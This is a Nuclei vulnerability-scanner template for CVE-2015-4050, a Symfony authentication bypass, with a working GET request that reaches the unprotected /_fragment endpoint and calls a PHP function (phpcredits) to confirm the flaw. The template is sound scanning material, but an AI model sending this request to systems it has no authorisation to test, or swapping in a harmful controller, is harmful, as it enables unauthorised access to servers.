nuclei-templates/cves/2015/CVE-2015-4050.yaml

id: CVE-2015-4050

info:
  name: Symfony - Authentication Bypass
  author: ELSFA7110,meme-lord
  severity: high
  description: Symfony 2.3.19 through 2.3.28, 2.4.9 through 2.4.10, 2.5.4 through 2.5.11, and 2.6.0 through 2.6.7, when ESI or SSI support enabled, does not check if the _controller attribute is set, which allows remote attackers to bypass URL signing and security rules by including (1) no hash or (2) an invalid hash in a request to /_fragment in the HttpKernel component.
  reference:
    - https://symfony.com/blog/cve-2015-4050-esi-unauthorized-access
    - http://symfony.com/blog/cve-2015-4050-esi-unauthorized-access
    - http://www.debian.org/security/2015/dsa-3276
    - https://nvd.nist.gov/vuln/detail/CVE-2015-4050
  classification:
    cve-id: CVE-2015-4050
  tags: cve,cve2015,symfony,rce

requests:
  - method: GET
    path:
      - "{{BaseURL}}/_fragment?_path=_controller=phpcredits&flag=-1"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "PHP Credits"
        part: body

      - type: status
        status:
          - 200

# Enhanced by mp on 2022/06/08